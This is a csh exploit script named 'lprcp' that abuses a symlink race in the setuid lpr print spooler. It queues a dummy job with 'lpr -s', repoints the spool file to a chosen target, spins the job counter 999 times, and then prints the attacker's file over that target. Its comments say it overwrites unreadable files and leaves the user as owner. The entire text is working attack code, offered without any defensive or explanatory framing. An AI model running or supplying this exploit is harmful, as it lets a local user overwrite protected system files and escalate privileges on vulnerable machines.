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- #!/bin/csh -f
- #
- # Usage: lprcp from-file to-file
- #
-
- if ($#argv != 2) then
- # echo Usage: lprcp from-file to-file
- exit 1
- endif
-
- # This link stuff allows us to overwrite unreadable files,
- # should we want to.
- echo x > /tmp/.tmp.$$
- lpr -q -s /tmp/.tmp.$$
- rm -f /tmp/.tmp.$$ # lpr's accepted it, point it
- ln -s $2 /tmp/.tmp.$$ # to where we really want
-
- @ s = 0
- while ( $s != 999) # loop 999 times
- lpr /nofile >&/dev/null # doesn't exist, but spins the clock!
- @ s++
- if ( $s % 10 == 0 ) echo -n .
- end
- lpr $1 # incoming file
- # user becomes owner
- rm -f /tmp/.tmp.$$
- exit 0
-